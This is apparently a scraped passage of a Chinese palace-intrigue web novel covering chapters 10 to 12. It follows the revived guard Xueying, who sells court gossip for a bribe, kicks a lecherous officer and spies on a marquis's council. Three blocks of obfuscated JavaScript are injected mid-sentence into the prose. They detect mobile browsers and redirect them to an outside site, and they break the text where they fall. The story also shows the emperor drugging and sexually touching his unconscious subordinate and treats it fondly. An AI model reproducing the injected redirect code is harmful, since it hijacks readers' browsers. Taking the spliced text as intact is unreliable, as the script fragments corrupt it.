倒是稀罕了,今日是太阳打西边出来了么?金善荣、孔余这对从来都不对付的死对头,不但惊人一致地推举了武显侯,就连勇乾王,看似也有些急着要将武显侯推出来担下重任? 义蛾生并不着急开口。他将奏折放在一旁,目光在几人当中徘徊。 他是如履薄冰的皇帝,不可能少得了猜忌,遇到这种事情,首先想的就是,这几人之间是否会有所勾结。 但这样的想法很快就被否定了。金善荣出身寒门,孔余则是寒山隐士,这二人整日整日的吵架,但总归有一点是契合的,他们都看不上这些位高权重、尸位素餐的王公贵族们,所以勾结的可能性很小。 那么,症结就出在武显侯身上了。 武显侯是六王九公十二侯当中的中立派,既不与勇乾王同流合污,在朝中对他也没有特别偏坦,只食君之禄、为君分忧,干着本分的事情。他是朝中工部侍郎,封地在皇城与勇乾王的封地中间,这样看来…… 义蛾生微微眯起眼。 外派赈灾并不是一件好差事,如果做得好,自可门庭光耀,但若是出了岔子,这钦使可以说是要成为朝廷推出去平息民怨的替罪羔羊,轻则罢官废黜,重则流放抄斩,妻离子散,家破人亡。 勇乾王盯着武显侯那块封地也不是一天两天的事情了。如果干掉武显侯,与太后里应外合吞掉这块封地,他便可直接与皇城接壤,成为悬在义蛾生头顶的一把利刃,彻底扼住天子的咽喉,任凭他喜好拿捏皇帝的生死。 义蛾生转念再想,如果勇乾王是抱着除掉武显侯的心思才举荐他,那就是说,勇乾王知道此次外派一定会出事。灾地乃是反对一派若水王与裕国公的交界地带,这样一想,倒也合理。 那金、孔二人又出于何种目的?恐怕与勇乾王目的一致,只是他们应该希望没收武显侯封地的人,是义蛾生。 想清楚这些后,义蛾生不着急宣布决策,只说:“朕知道了,诸位爱卿所提意见,朕下来还要考虑一番,明日再做定夺,先散朝吧。” 他起身离开龙椅,走得匆匆忙忙,心里还惦记着睡在他寝殿的雪萤。 雪萤这时已经迷迷瞪瞪地睡醒了,正在回想昨夜发生的事情。 想到后面主上对他做的事情,他就……他就气不打一处来! 笨蛋主上,大笨蛋,他天萤族身体素质奇佳,除了身轻骨密、能打抗打以外,他还有超出常人的抗药性啊。 昨晚那帕子上就浸那么点迷药,一开始根本就没把他迷晕! 10. 第 10 章 雪萤没有让帕子上的迷药迷晕。他不知道主上又要做什么,于是没着急动弹,想静观其变……然后他就不敢动了。 主上这是在做什么! 他让主上抱着又亲又摸时已为时已晚。饶是他现在没什么记忆对许多事情认识不清,也知道主上对他做的事情很私密,于是不敢在这个时候突然睁开眼跟主上说“哈我其实醒着的”,估计主上能让他气到真把他掐死了……所以他只能很辛苦地继续装晕。 好在眼睛一闭,他那欲生欲死的反应倒也看不出来端倪。只是谁能想到主上会越来越过分…… 一想到昨晚叫人面红耳赤的场景,雪萤只想又往树上花丛中钻,忍到后面他差点就要忍不住,得亏帕子上迷药还有点用处,他让主上弄得又热又累,伴着药效渐渐地也困倦入梦,后面的事情也就不知道了。 他醒来后,只是想不明白主上古怪的态度,看似亲和似水,却又骤然雷霆万钧,看似严厉冷淡,却又在夜深无人时,要将他迷晕,紧紧搂在怀中,一边玷污着,一边又好像很珍惜似的,雪萤这脑子哪里想得通这么复杂的事情。 最后他也只能想,或许是因为主上做了帝王,君心难测,本就是如此,他要做的无非是本分,既要为主上分忧,也要主上开心。 唔,那看来,以后遇到这种事情,还是要装晕,不然主上就会知道他这次装晕的事情,到时候一定会气急败坏地觉得自己丢脸了……为了主上的颜面,这种事情他一定要守口如瓶。 在床上赖着许久,雪萤又想,不用早起上朝的感觉真好,这样一想,忽然觉得昨晚那种“折磨”多来几次也没有关系,等到第二日早晨,主上就会给他放假。 就在这时,义蛾生从外面回来了。他走到软榻前,将手中巴掌大的白瓷瓶递给雪萤嘴边,低声叫他:“雪萤,喝点水。” 雪萤没睁眼,只张着还有些发红的嘴唇,伸出舌头接住瓶子里倒出来的液体。他将液体喝进嘴里,砸吧着嘴尝了尝,发现是露水的味道,于是睁开眼坐了起来,自己接过瓶子拿着喝。 一边喝,一边还问:“主上,这是你去采的么?” 义蛾生淡淡地“嗯”了一声。 雪萤露出有些惶恐慎微之色,忙说:“主上贵为九五之尊,怎么亲自去做这等劳碌的事情……” “那又怎么了。”义蛾生并不大在意,伸出一根手指,抵在玉瓶的瓶底轻轻上推,示意雪萤接着喝,“朕以前也是这么养你的。” “养”?这真是一个微妙的字眼。过去主上“养”着他,到底是怎样的一副光景呢?他们之间是不是有过许多一起度过的快乐时光?雪萤又一次为自己的失忆感到遗憾,正因他如此,所以过去的那些不管幸福还是不幸,都只能让主上一个人承担。 他一边喝着露水,一边偷偷看他的主上,想主上不但要肩负着天下苍生,还要独自承受他们共同的过去,他对他的主上既有敬畏,现在还多了怜惜,于是想更要好好地相伴他左右。 义蛾生松了手,又说:“今日你不必跟随在朕身旁,也不用去巡逻,就在寝殿呆着,等下御尉第一卫所都指挥使谢陵会来见你。” 雪萤问:“主上,我要去军中了?” “对。”义蛾生伸手按了按他头顶翘起的头发,“朕让谢陵先带着你熟悉事务,你可以完全信任他,记不得他也不要紧,他过去是你一手栽培提拔起来的,知道该怎么做。” 雪萤连忙点头:“是。” 义蛾生又说:“等下有人会送蜜来,你吃了再走。”雪萤用力点着头,看他这副乖顺的模样,义蛾生不由得放缓声音多交代了几句,跟叮嘱小孩似的,然后才离开去书房处理政务。 他走后没多久,便有内侍送来白瓷碗中满满的一碗蜜,雪萤高高兴兴地接了过来,坐在寝殿门外槐树下,慢慢地舔着吃了。 这蜜很是浓郁香甜,能吃是能吃,但雪萤有些不喜欢,他喜欢气味清淡一些的,比如槐花蜜就很清香可口。这么一想着,他又忍不住地抬头,望着槐树上簇拥的团团槐花,眼睛里流露出渴望。 可惜不行,答应过主上不能爬树,他就不能爬,不然主上一定会生气的。 雪萤就这么吃着碗里的、望着锅里的,吃到一半时,不远处忽然来了两个让宫人引着、但他不认识的陌生人。 他远远地打量着,发现二人身着与昨夜那些站在树下围观他的大臣们同样的官服,于是猜想这些人也是朝中大臣,是来找他主上的。 雪萤捧着碗站起身,主动上前跟他们说:“主上去书房了,不在这里。” 不等宫人说话,其中一人率先站出来,朝雪萤行了很是标致的一礼,脸上露出几分讨好的笑:“想必您就是雪大人吧?” 雪大人?可他又不姓雪,名字就叫做雪萤。雪萤想了想,说:“我是雪萤,不是雪大人。” “一样,一样。”那人搓了搓手,笑容更深几分,“我们这会儿过来,不是为了觐见陛下,而是特意来找您的。” “找我?”雪萤奇道,“找我做什么?” 他这才醒过来几天呢,什么事务都还没有上手,人都不认识几个,为什么有人会想找他? 另一人也走上前来行礼,不过行的是朝中官僚打招呼常用的礼,神色也不如先前那人带着几分讨好与谄媚,反而有着很明显的憔悴与恍惚。他行过礼,最先说话的那人向雪萤介绍二人的身份:“雪大人,这位是凌阳侯,在下乃是凌阳侯府中长史。” 雪萤想了想:“凌阳侯……” 他忽然想了起来,看着凌阳侯说:“曾贵妃的父亲?” 就是先前那个叫太后推出去背了黑锅的曾贵妃。 凌阳侯微微颔首:“正是。” 不等雪萤又说什么,他微红着眼眶叹了口气:“小女……前日离世,昨日宫中便将尸身送了回来,未得陛下恩宠,总归是我凌阳侯府的女儿。” 雪萤听出他话中似有几分怨怼,连忙说:“曾贵妃可不是主上害她死的,明明是太后。” “太后?”凌阳侯与他长史惊讶地对视一眼,“可我们得到太后消息,只说一句‘天威难测’……再多的事情,便不可得知,我们既不知小女有何过错,也难以揣测圣意,这几日来惶惶难安,可陛下不近后宫,除了太后,无人能通达陛下喜怒,后得知陛下身旁唯一亲信之人便是雪大人,这才着急赶来询问一二。” 雪萤看着他们想,可那日他也不知主上是什么用意,明明是万笠那家伙下的药,主上却没让他说出口,反而叫个从头到尾连面都没露的曾贵妃做了替罪羔羊,任由太后处置后续。 但他又想,主上从来英明神武,这么做一定是出于什么考量的,所以他既不能妄自揣测主上用意,也不能歪曲误解主上的做法。 即便如此,面前这二人还是可以忽悠忽悠的。雪萤转动着他那双漂亮剔透的眼珠子,过了一会儿才说:“你们要问我什么呢?” 凌阳侯与身旁长史再度对视,然后问:“可否请雪大人告知那日到底发生了什么事情?” “我可以回答你。”雪萤说,“不过,我看别人打听消息好像都会给点好处,我回答了你的问题,有什么好处呢?” 二人愣了一下,长史最先反应过来,忙道:“自然是有的,雪大人喜欢什么?事后自会奉上。” 雪萤丝毫没有意识到,他这番行为是在“公然索贿”,不假思索地说:“我喜欢钱,很多很多的钱。” 主上现在很缺钱,他要是可以凭借自己的本事挣到钱,到时候就全部都拿给主上,主上一定会夸他厉害。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418507|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没问题,没问题。”长史说,“之后为大人奉上银票,如何?” 雪萤说:“你们看着办吧,反正不能少了我的,不然岂不是白干活?” 他又说:“你们也不要觉得我是在威胁你们,要是今日我一分不收,从我口中说出来的话,你们敢相信几分?” 凌阳侯与长史同时一怔,而后露出颇为信服的神色。 别的不说,光是这一句,说得便不能再有道理了。这是他们先前完全没有意识到的事情,如果今日来见雪萤,问题刚一问出口,雪萤便知无不答,尽数告知,他们反而该怀疑这其中是否有诈。 凌阳侯望着雪萤的眼神多了几分钦佩:“雪大人言之非常有理,下来后本侯备上十万两银票,放在宫外通财钱庄,您只需报上名号便可拿走。” 十万!雪萤听得眼睛都直了,好多钱的样子,原来只说几句话都可以赚这么多钱么? 他一边在心里窃喜着,一边把那日的事情说了,不过说了一半,一半没说,他既不说假话,也没有将真话说完,隐瞒了义蛾生打翻饭菜的那段,只说他发现主上饭菜中叫人下药,而后叫太后查出下药者是曾贵妃,当即在宫门外杖刑处死。 凌阳侯听后面露愤怒:“这怎么可能,小女只是性格有些骄纵,但要说给陛下下药这种事情,再给她一百个胆子她都不敢这样做!” 他又问:“雪大人,后来太后可查出到底下的是什么药?” 雪萤摇头:“没有了。” 凌阳侯更加愤懑:“连下的什么药都不敢公布,这一看就是找小女做替罪羊!” 长史在旁边低声劝慰:“侯爷,小声一些,莫叫宫里的人听了去,到时不好解释。” 凌阳侯的表情变得隐忍。他深呼吸几口,又问雪萤:“雪大人,陛下对此事可有什么态度,或者说……有没有什么暗示,指示的?” “不明白。”雪萤说,“好像没有,主上后来没再提过这件事。” 长史道:“陛下与太后素来不和,此事太后一手独揽,不管是处死贵妃娘娘,还是将真相按下不表,皆是后宫之事,陛下不便插手,不过暗示说不定是有的——雪大人,这几日陛下可否赏赐过身边人?” 雪萤想了想说:“没有。” 长史不死心地又问:“那有没有给您什么东西?” 东西……雪萤再想了想,然后从怀里掏出一个钱袋子,里面装着他这几日当差主上给他的俸禄,扣掉了昨日的两枚器珠,现在一共有八枚。 他递给二人观看:“主上给过我这些。” 凌阳侯与长史接过钱袋子,将器珠倒在手中,看了看,又数了数,然后面面相觑。 这器珠通体呈现银白色,材质却非银器,分量很轻,半个小指头那样大。长史数了数目:“二、四、六……八?” 雪萤看着他们,暂时也没说这是他的俸禄。 长史却好像想到什么,猛地变了脸色,拽着凌阳侯袖子扯了扯。 二人避开雪萤,走到稍远的一旁讲话。 雪萤盯着他们想,这个距离,他们说话再小声,以他的耳力,也是听得到的啊。 那两人却不知他听得到,旁若无人地讲起话来:“……为何偏偏是八枚珠子……” 雪萤心道有什么问题么? 凌阳侯与他同样迷茫:“怎么了?” 长史道:“八珠,不多不少,只比九枚珠子少一枚,九珠有余,故而缺一,侯爷,这如何不能解读为‘九族太多’之意……” 凌阳侯打了个冷颤,面露惊恐:“九族太多,当尽灭之,你是说,这是要灭九族的意思?!” 雪萤满头雾水地挠了挠耳朵。 不过是主上发给他的俸禄而已,这些人在解读些什么奇奇怪怪的东西…… 11. 第 11 章 长史将钱袋子还给雪萤,二人仓促地打过招呼,便着急出宫。雪萤听见他二人误会很大,却也不好说自己偷听他们讲话,便没有出口解释,任由他们带着误会走了。 他坐回树下,将碗里剩下的蜜舔完,连碗底都舔得干干净净,这时御尉第一卫所都指挥使谢陵从外面走了来。 行至雪萤面前,谢陵仔细将人打量一番,抱拳行礼:“雪大人。” 又一个管他叫雪大人的……雪萤发现自己慢慢也能接受这样的称呼了。 他看着谢陵说:“谢陵?” 谢陵年纪比义蛾生要小上两三岁,神态却很是老成,不苟言笑。听见雪萤问话,他那张端肃的脸上挤出一丝笑意:“是,承蒙大人当年栽培,属下如今已是御尉第一卫所都指挥使,兼任第八卫所监卫。” 他又看了看雪萤,七尺男儿微微红了眼眶:“当年初入皇庭,陛下那时还只是太子,吾等御殿督卫皆受大人教导,大人待我们亲如兄长,如今十年飞逝而过,陛下与属下,还有这深宫,皆已变了太多,大人却还与当年别无二致……” 他叹息道:“见着您,才惊觉时间已经过去了这样久。” 雪萤说:“主上没有变,他对我还是很好。” 他又看着谢陵说:“你也没有变,一直都对主上这么忠心耿耿。” 谢陵愣了一下,而后脸上露出越发深邃的笑意。 起先听陛下说雪萤复生后失了记忆,他还有些担心,现在看来这些担心根本就是多余。不但样貌没有半分改变,连性格也是,还是这么的熨帖暖人。 雪萤性子一直都好,不管对上还是对下,从来都是倾尽爱护,这么一个暖心忠诚的人,也难怪陛下苦熬十年,也要将人招魂复生。 谢陵收敛起伤感的情绪,话语间多了几分轻松:“好在以后还能继续在大人手下效劳,这倒是与过去一样了。” 雪萤说:“等下你是要带我去军营吧?我们今日要做什么?” 谢陵抱拳道:“陛下已有交代,这几日主要是带您熟悉皇城军事力量,认一认下面几位主要的御殿督卫,然后为您安排习武,之后再慢慢上手其他事务。” 雪萤点点头,放下碗:“那走吧。” 谢陵在前面引路,一边走一边跟雪萤说:“今日主要是熟悉一下现今皇城里的几股军事势力,认认人,您不必太过于拘谨,就当外出闲逛。” 他又说:“陛下不像先帝那样爱用宦官,自打他登基后,便慢慢裁了过去先帝留下的权宦,转而扶持御殿督卫,我们这批最早叫您栽培提拔起来的御殿督卫,如今还剩九人,全部编入御尉十一卫所任职,直接听令于陛下,等于这十一卫所,便是陛下独有的军事力量。” 谢陵叹了口气:“各路王公诸侯心怀各异,出了这座皇城,陛下基本上没有能调得动的兵,也就只有御尉十一卫所完全是陛下的人,这些年来虽然扩大了一些规模,可面对那些如狼似虎的诸侯们,陛下终归是势微权弱。” 雪萤说:“没有关系,主上心里一定有他的打算,他并不是那种安于现状的人。” 谢陵笑了:“这倒是。属下也是今日时隔十年再度见着大人,内心颇有伤感,想起陛下十年来都是这般如履薄冰,才与您多说了两句。” “以后会有我陪着他啦。”雪萤只说。 谢陵闻言又是一笑,见他与陛下生死两隔十年,如今关系却还要这样好,既放下心来,也为他二人感到高兴。 有雪萤在,也就有人暖着陛下的心,叫他不至于在那孤寒的高处,继续这么一个人生生受着看不见尽头的寂寥。 谢陵回转心思,介绍完包括他在内九名御殿督卫各自身份,又告知雪萤现今御殿督卫大致数目与规模,以及职责范围,说完后,才又说起皇城其余军事势力。 谢陵道:“除御殿督卫以外,还有各种守备军、巡城军等等,各司其职,他们听令于兵符行事,有的兵符在陛下手中,有的兵符在太后手中,里边很多高官出身复杂,多为诸侯提拔举荐,真要遇到什么事,就不知那一纸空符是否还有效。” 雪萤默默地听着,“嗯”了一声示意自己明白。 这样听下来,他家主上的境况当真是有够岌岌可危的。 谢陵又说:“这些军队您不必过于关注,平日里与咱们打不了几次交道,就算遇见,也是以我们优先,不过有一方势力需得您留意。” 雪萤问:“什么?” “宫中负责看守皇陵的禁军。”谢陵说,“先皇生前铺张骄奢,太后有意要陛下难堪,在先皇崩后便从宫中匀出一派势力,名义上是替祖宗守灵,不叫他们经受侵扰,实则又是一处假公济私的官位,遴选诸侯们的后代进来,拿着最高的待遇,实则成日游手好闲。他们不受宫中管束,反而叫诸侯们感激太后赏识与恩赐。” 雪萤有些生气地说:“当真是过分。” 谢陵点头赞同他的评价,又说:“现今这禁军中管事的,是副统领涂长东,他是勇乾王的表侄子,很能讨太后欢心,实则为人心胸狭隘,嚣张跋扈,还很好色,就是我们不少兄弟,在他手里都吃过苦头。” “好色?”雪萤一听,心里忽然有了些主意。 他又道:“现在先去见见其他几位在卫所任职的兄弟,等下你再陪我四处转转。” 谢陵轻声答“是”。 谢陵带雪萤直奔卫所衙门而去,剩余八名御殿督卫当中,除一名出外差雪萤没见着,其他人都到他跟前来各自报道,介绍身份名姓。雪萤只听一遍便全部记了下来,又听几人说了些被他忘记的过往,这才叫众人各自散开。 雪萤与谢陵离开走出来,走到半路,雪萤问:“那个什么涂长东,今日可在当差?” “在的。”谢陵说过后才想起什么,脸色猛地一变,“大人,您该不会是想……” 雪萤对他的态度反而感到不解:“有什么不行么?” 谢陵露出些犯难的神色:“涂长东是太后跟前红人,眼下不好冒然招惹,我们这些兄弟遇到与他们冲突,都是能避则避、能让则让,尽量不与之交锋。” “怕什么。”雪萤心想先前他刚醒来太后给他下马威,这笔帐他还记着没算呢,“真要出了事情,有我担着,还轮不到你倒霉。” 谢陵哭笑不得:“话虽如此……可大人记忆不全,今日又是属下带您外出巡游,出了什么事,陛下首先问责的必然是臣下。” “陛下那边我有办法对付。”雪萤笑道,“从今时开始,我便是你们的老大,天大的事情落下来都有我担着,还轮不到你们。” 他制止谢陵还要继续劝说的心思,催促他赶紧带自己去到禁军那边。谢陵无法,只得无奈领着雪萤上了禁军的地盘。 校场中,禁军二十余人正在嬉耍打闹,涂长东正坐在演武台上,翘着的二郎腿来来回回地晃悠。他惬意地晒着太阳,前后还有两人替他捏腿揉肩,比那宫中的皇帝日子过得还要舒坦。 他坐得高,一眼便看见谢陵带着个从没见过的小美人远远走来,登时眼睛都看直了,几乎是弹跳着直起身,盯着雪萤目光一转不转,差点连口水都要流下来。 及至雪萤二人走近,涂长东擦了擦嘴角,眼神盯着雪萤问谢陵:“谢陵,你上哪去找了这么漂亮一个小相好?” 谢陵一下子变了脸色,正要警告他慎言,雪萤却做了一个手势制止他开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418508|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他走向涂长东,露出一个甜甜的又无害的笑:“我是雪萤。” 涂长东愣了一下。雪萤……他感觉到这个名字耳熟,好像是…… 他猛地想起来,是前几日去见太后,太后提起皇帝为身旁一名御殿督卫招魂成功,叫人复生了过来,给她惹了好些麻烦,让太后气得很是够呛,不正是面前这人么?! 这副模样……竟然还是传闻中当年皇帝手下最厉害的御殿督卫?这副柔软的模样,这身形,这容貌,只怕给皇帝做禁脔还差不多,哪像是能护主的近身侍卫。涂长东心头只嘲讽地笑着,听见雪萤自报家门,不但没有露出半分对同僚的尊重,眼神反倒越发地放肆淫邪。 谢陵沉了脸色,就想拿刀柄抽这家伙的脑袋,抽得他清醒过来。 却听涂长东开口道:“原来你就是那个陛下身边第一位御殿督卫,听说你没了记忆,就连过去的看家本事也忘了个精光,陛下费这力气把你复活过来做什么呢?难道说……” 他朝雪萤雪白的颈子和领口处看,嘿嘿一笑:“你这副扮相看着也不像个侍卫,雪萤,你现在是怎么‘伺候’陛下的?” 谢陵忍无可忍,怒喝一声:“涂长东,嘴巴放干净!” 涂长东当他不存在,依然肆无忌惮地盯着雪萤,眼神像是要把雪萤扒光。 雪萤却好似不通人事,读不懂他眼里的冒犯,依然纯真地笑道:“我是主上的人,主上叫我怎么伺候,我就怎么伺候。” 他故意朝涂长东挑了挑修长的眼角:“不管主上要雪萤如何‘伺候’,雪萤都会照做无误。” 他转了个身,抬脚踏在上演武台的台阶上,提了提裤管,露出一截莹白的脚踝,然后说:“嗯……比如今日出门前,主上说想摸我脚踝,雪萤也不知道他为什么要这样做呀,可主上想要,雪萤只能遵命不是?” 涂长东让他媚得神思荡漾,心想换成自己是皇帝,有这么一个既漂亮又忠心的小美人在身侧伺候,岂止是摸一下脚踝这么简单……一定得要把人拘禁在身边,成日弄得他下不了床,别想踏出门半步。 他又盯着雪萤故意露出来的那段脚踝,只觉口干舌燥,心头深处忽然浮起一种怪异的渴望。他想到这个人是皇帝的人,真正意义上皇帝的人,与那些后宫的嫔妃意义不同,那些女人皇帝从来都不碰,算不得他的人,所以叫万笠在后宫作乱,皇帝也只是睁一只眼闭一只眼。 可雪萤不一样,他不但是皇帝的人,还是皇帝“碰”过的。涂长东忍不住贪婪地想,万笠玩皇帝的女人,那段数真是有够低的,皇帝不在乎她们,就是玩了也毫无刺激感,但如果让他也摸一摸雪萤…… 涂长东朝周围几名禁军使眼色,他的手下顿时领悟到他眼神中意思,拔刀围上谢陵,不叫谢陵为接下来的事情添乱。他又盯着雪萤的脚踝看,一只手已经克制不住地伸了出去。 只被皇帝摸过的人,如果让他摸了,那他与那窝囊废皇帝的区别是? 谢陵愤怒不已:“涂长东,你个狗娘养的,你敢碰他——” 相比起谢陵的暴怒,雪萤这时的冷静有些冷静过了头。但涂长东早已色心上脑,压根没有留意到雪萤的反应,反而将手伸向雪萤脚踝,口中道:“小家伙,让我也来摸摸,是不是真有这么好摸……” 他的手只伸到雪萤脚边,还没能触到皮肤,只听头上传来雪萤的轻笑声:“嘻——” 涂长东愣了一愣,这时脑子里终于生出一点危机感,可惜已经晚了……雪萤猛地抬高那条让他露出脚踝的腿,狠狠地踹在涂长东鼻子上,然后又用力往下一踩。 霎时间,校场上响彻涂长东杀猪般的惨叫声: “啊——啊……” 12. 第 12 章 周围一片混乱,所有人都慌慌张张围上来查看涂长东状况。趁着他们群龙无首,雪萤拽上谢陵,两人从禁军的地盘挤了出去。等到涂长东捂着被踢断的鼻子大喊抓住那个小贱人时,二人早已不见了踪迹。 逃出来后,谢陵想着方才发生的事情,还一阵后怕,苦着脸跟雪萤道:“大人,这下闯大祸了。” 雪萤却拍拍他肩膀,语气轻松:“慌什么,你自去该做什么做什么,等下我去跟主上禀告。” 听他这么说,谢陵苦笑一声,只得忧心忡忡地走开了。 雪萤支开谢陵,本想出宫跟上凌阳侯,继续听听他们将先前那八枚器珠曲解成了什么意思,可还没走到宫门,又看见那晦气的万笠朝他走来。 万笠是特意跑来找雪萤的。勇乾王下朝后便来后宫找太后关起门说话,他被赶了出来,闲闲无事,忽然想起去看看昨日给雪萤的太子遗物起到了效果没有,于是专门守在这里堵雪萤。 他热情地向雪萤打招呼,眼神偷窥到雪萤脖子上没佩着那件挂坠,但雪萤人看着好像又没什么事,奇怪问道:“雪萤,昨日我给你的挂坠呢?” 说到这个,雪萤小脸上露出郁闷:“别提了,让主上给我收走了,我还差点……” 他的欲言又止勾得万笠好奇不已,着急问:“差点如何?” 雪萤说:“差点让生气的主上给我掐死……” 只是“差点”啊。万笠有些失望,不过转念又想,没想到陛下还有这么阴暗的一面,只是因为一件死人的死物,竟然就想把身边最为器重的御殿督卫掐死,这要是传出去,大可做文章! 二人敷衍结束了这个话题,万笠来找雪萤还有一个目的。他假装不经意地问:“对了雪萤,早上凌阳侯是不是进宫来找陛下?但他好像跟你说了很久的话。” 雪萤眯了眯眼睛,心想太后到底在主上身边插了多少钉子,他与凌阳侯说话的事情,这么快就让万笠都知道了。看来,得找个机会,好好替主上将这些钉子都拔除了。 他面上倒还是一片老实,回答道:“凌阳侯找我问曾贵妃死那日发生的事情……” 万笠有些紧张地搓了搓脸:“你跟他都说了?” “我说了。”雪萤点头,“然后凌阳侯答应给我十万两银子。” “十万两?!”万笠瞪大了眼,“我滴乖乖欸,这么多钱,说给你就给你……雪萤,他这是坑害你啊。” 雪萤有些不解:“怎么是坑害我了?” 万笠说:“他这是在向你行贿。你现在身份可不一般,是陛下身边的御殿督卫,你的一举一动都代表着陛下的意志,你的荣耀代表着陛下的颜面,他拿钱向你套情报,就等于是在向陛下行贿,咱们英明神武的陛下怎么可能做出此等小人行径?” 雪萤端肃了脸色:“照你这么说,确实是个大问题。” 万笠问:“那钱你没收吧?” 雪萤道:“凌阳侯说他给我放在宫外通财钱庄。” 万笠转着眼珠子,过了一会儿说:“现在你知道这钱收不得,但白白放在那里也可惜,不如让我这个局外人替你去匀一匀……” 见雪萤拿小鹿一样的眼睛将他看着,万笠昧着良心还要继续说:“……到时候你只要给我一点点点辛苦费就可以了。” 雪萤还当真想了好一会儿,然后告诉他:“凌阳侯说,只要去通财钱庄报上我的名字,他们就会拿出十万两银票。” 万笠美滋滋道:“那我知道了,你去忙吧,乖。” 雪萤出了皇宫,隐匿身形,直奔凌阳侯府而去。 同一时间,万笠也迫不及待地出了宫,跑去通财钱庄,想确定那十万两银票的存在。 雪萤赶到凌阳侯府时,凌阳侯与其长史不过刚下马车,进了府便立马召集其余幕僚,全部聚在书房内关起门来讨论。 趁着最晚进门那人关门的瞬间,雪萤闪身入了室内,轻盈地跃上房梁。屋子里那么几个人,没有一人发现他半分踪迹,他们只是在雪萤经过身旁时,感觉到有一阵风刮过。 关上门后,几人果然从“八枚器珠”开始讨论。 其中一名年纪稍长的幕僚拍桌道:“荒唐,这纯粹是强词夺理,不过是八颗珠子,怎么就和灭九族扯上关系了?” 雪萤坐在房梁上点头,是啊是啊,根本就是毫无关系嘛。 凌阳侯苦笑道:“起先本侯也觉得没道理,但回来路上一直在思考,却越想越有道理。” 年纪稍长的幕僚忧心忡忡道:“侯爷,不可自己吓唬自己。照你们所说,小姐身亡乃是太后一手策划,与陛下无关,那陛下断然不会灭侯爷九族。若这当真是他给出的警示,警示侯爷灭九族之人乃是太后,可太后也没这么大权力啊。” 一旁长史叹了一声气,幽幽道:“假如接下来,太后的权力再度倾轧了陛下呢?” 几人纷纷露出惊讶神色,一起看向他,齐声发问:“这是什么意思?” “刚得到消息,西南洪涝重灾断路,非常严重,若水王与裕国公连发急报请求朝廷赈灾,今日朝堂上便是讨论外派钦使人选。”长史道,“你们可知,勇乾王举荐之人是谁?” 不等众人发问,他自己先说了:“是武显侯!” 长史看向凌阳侯:“侯爷与若水王关系要好,早先便听若水王提起过,勇乾王想要武显侯那块封地。” 凌阳侯缓缓点头:“不错。武显侯封地居于皇城与勇乾王封地之间,若能吞下武显侯这块封地,他便可与皇城接壤,直接威胁天子。” 听他们一说,有幕僚反应过来:“勇乾王没有别的理由举荐武显侯,他这是想趁这次外派赈灾,除掉武显侯,吞并他的封地,夺权天子!” 凌阳侯声音涩哑:“等到那时候,你们说,太后有那个灭九族的权力了么?” 屋内陷入一片死寂。 房梁上雪萤听得一愣一愣,因为不认识人,他差点跟不上他们的讨论进度。好在他记性好,记下来后重新梳理了几遍,总算是反应过来了。 概括来讲,有人想谋害主上,这种事情绝对不允许! 那几人慢慢又开了话匣子,开始讨论皇帝、太后、勇乾王、若水王、武显侯……讨论最后的目的,落脚到选择继续与若水王为伍,听令于太后与勇乾王,还是趁早跳到皇帝的阵营中。 凌阳侯垂着眼睛道:“如今天子势微,却能镇住这些野心庞大的诸侯们,金麟岂是池中物,一遇风云便化龙,他有野心,有谋略,能收拾先皇留下的烂摊子,他缺的无非是一个时机……反观太后与勇乾王,同是诸侯,他们都能下得了手,这次是武显侯,下次怎么就不能是我凌阳侯?” 房梁上的雪萤点着脑袋,心道凌阳侯可真会夸,然后把他刚才说的话全部默默背下来,准备回去就这么拿去夸他的主上。 一名幕僚说:“侯爷,万一日后陛下羽翼丰满,削藩废王,那可要如何是好?” 凌阳侯冷道:“未来皇帝真要废了本侯,他是天子,做这种事是天经地义,他勇乾王算什么东西,凭什么让他吞了我?” 雪萤用力地点头,凌阳侯真是个实在人,能说会夸,他一定要帮忙助推一把,叫他效忠主上,天天吹捧夸赞主上,他好跟着学习学习。 却还有几名幕僚想再劝。凌阳侯背靠若水王多年,经营起这份人脉并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418509|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易,若是说断就断了,实在有些可惜。 正当几人争论时,外面由远及近响起急促的脚步声,很快敲门声也响了起来,声音同样的急促:“侯爷,有要事禀报。” 凌阳侯皱着眉拉开门,呵斥道:“正在讨论要紧事,不是叫你不要打扰么?” 那管家模样的人低头回话:“侯爷,通财钱庄来人了,说是有要紧事……” 就在不久前,万笠出宫便直奔通财钱庄而去,上来就向钱庄掌柜打听凌阳侯许诺给雪萤那十万两银票。 掌柜吃了一惊。凌阳侯确实是通财钱庄老主顾,但近日要支使十万两这么大一笔数目的银子,却未听到凌阳侯府上有什么风声。不过既然有人敢打着凌阳侯名号找来,说明此事多半不是假的,怪就怪在…… 